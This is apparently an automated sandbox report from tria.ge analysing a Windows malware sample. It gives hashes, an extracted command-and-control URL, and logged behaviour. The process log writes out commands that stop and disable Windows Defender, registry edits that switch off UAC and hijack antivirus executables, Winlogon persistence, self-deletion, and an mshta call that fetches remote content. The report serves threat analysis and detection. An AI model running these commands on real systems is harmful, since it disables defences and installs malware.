Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
19/09/2024, 05:14
Static task
static1
Behavioral task
behavioral1
Sample
eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe
-
Size
2.2MB
-
MD5
eaa6966575d28fa84ddcf3ba17c4d07e
-
SHA1
f5f44be0cb637bea6348e506ee94136bb41bfa8f
-
SHA256
16fed893171b69ceb22b85992f486ff2fd45d26de273deced2fb46b2517d755f
-
SHA512
57769e221cf3127284ded0c043d977168a7d5395abc2d095cbbd7564f0e5bae5574100e1364df2116e29db4244eea87d344041983c2a62328f3a12f24f72060d
-
SSDEEP
49152:mDwQZshctg3xglTVGI8HoBfAIPYiiqowvq00p7PiKXT0phLdlh:mDwQEuUxglcI8HoiIrwzXopZdL
Malware Config
Extracted
http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=17&4=9200&5=6&6=2&7=919041&8=1033
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\lklenp.exe" lklenp.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" lklenp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" lklenp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" lklenp.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe" lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe" lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe" lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe" lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe" lklenp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe lklenp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe" lklenp.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe -
Executes dropped EXE 1 IoCs
pid Process 4072 lklenp.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" lklenp.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1060 sc.exe 3020 sc.exe 2780 sc.exe 976 sc.exe 2152 sc.exe 4548 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language lklenp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4072 lklenp.exe Token: SeShutdownPrivilege 4072 lklenp.exe Token: SeDebugPrivilege 4072 lklenp.exe Token: SeShutdownPrivilege 4072 lklenp.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe 4072 lklenp.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 1724 wrote to memory of 1060 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 82 PID 1724 wrote to memory of 1060 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 82 PID 1724 wrote to memory of 1060 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 82 PID 1724 wrote to memory of 3020 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 83 PID 1724 wrote to memory of 3020 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 83 PID 1724 wrote to memory of 3020 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 83 PID 1724 wrote to memory of 3728 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 84 PID 1724 wrote to memory of 3728 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 84 PID 1724 wrote to memory of 3728 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 84 PID 1724 wrote to memory of 2780 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 85 PID 1724 wrote to memory of 2780 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 85 PID 1724 wrote to memory of 2780 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 85 PID 1724 wrote to memory of 4072 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 90 PID 1724 wrote to memory of 4072 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 90 PID 1724 wrote to memory of 4072 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 90 PID 3728 wrote to memory of 5028 3728 net.exe 91 PID 3728 wrote to memory of 5028 3728 net.exe 91 PID 3728 wrote to memory of 5028 3728 net.exe 91 PID 1724 wrote to memory of 1784 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 92 PID 1724 wrote to memory of 1784 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 92 PID 1724 wrote to memory of 1784 1724 eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe 92 PID 4072 wrote to memory of 976 4072 lklenp.exe 94 PID 4072 wrote to memory of 976 4072 lklenp.exe 94 PID 4072 wrote to memory of 976 4072 lklenp.exe 94 PID 4072 wrote to memory of 4548 4072 lklenp.exe 95 PID 4072 wrote to memory of 4548 4072 lklenp.exe 95 PID 4072 wrote to memory of 4548 4072 lklenp.exe 95 PID 4072 wrote to memory of 3164 4072 lklenp.exe 96 PID 4072 wrote to memory of 3164 4072 lklenp.exe 96 PID 4072 wrote to memory of 3164 4072 lklenp.exe 96 PID 4072 wrote to memory of 2152 4072 lklenp.exe 97 PID 4072 wrote to memory of 2152 4072 lklenp.exe 97 PID 4072 wrote to memory of 2152 4072 lklenp.exe 97 PID 3164 wrote to memory of 2236 3164 net.exe 102 PID 3164 wrote to memory of 2236 3164 net.exe 102 PID 3164 wrote to memory of 2236 3164 net.exe 102 PID 4072 wrote to memory of 3280 4072 lklenp.exe 103 PID 4072 wrote to memory of 3280 4072 lklenp.exe 103 PID 4072 wrote to memory of 3280 4072 lklenp.exe 103 -
System policy modification 1 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System lklenp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" lklenp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" lklenp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" lklenp.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1060
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3020
-
-
C:\Windows\SysWOW64\net.exenet stop msmpsvc2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
PID:5028
-
-
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2780
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\lklenp.exeC:\Users\Admin\AppData\Roaming\Microsoft\lklenp.exe2⤵
- Modifies WinLogon for persistence
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4072 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:976
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4548
-
-
C:\Windows\SysWOW64\net.exenet stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc4⤵
- System Location Discovery: System Language Discovery
PID:2236
-
-
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2152
-
-
C:\Windows\SysWOW64\mshta.exemshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=17&4=9200&5=6&6=2&7=919041&8=1033"3⤵
- System Location Discovery: System Language Discovery
PID:3280
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EAA696~1.EXE" >> NUL2⤵
- System Location Discovery: System Language Discovery
PID:1784
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
1Indicator Removal
1File Deletion
1Modify Registry
3Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.2MB
MD5eaa6966575d28fa84ddcf3ba17c4d07e
SHA1f5f44be0cb637bea6348e506ee94136bb41bfa8f
SHA25616fed893171b69ceb22b85992f486ff2fd45d26de273deced2fb46b2517d755f
SHA51257769e221cf3127284ded0c043d977168a7d5395abc2d095cbbd7564f0e5bae5574100e1364df2116e29db4244eea87d344041983c2a62328f3a12f24f72060d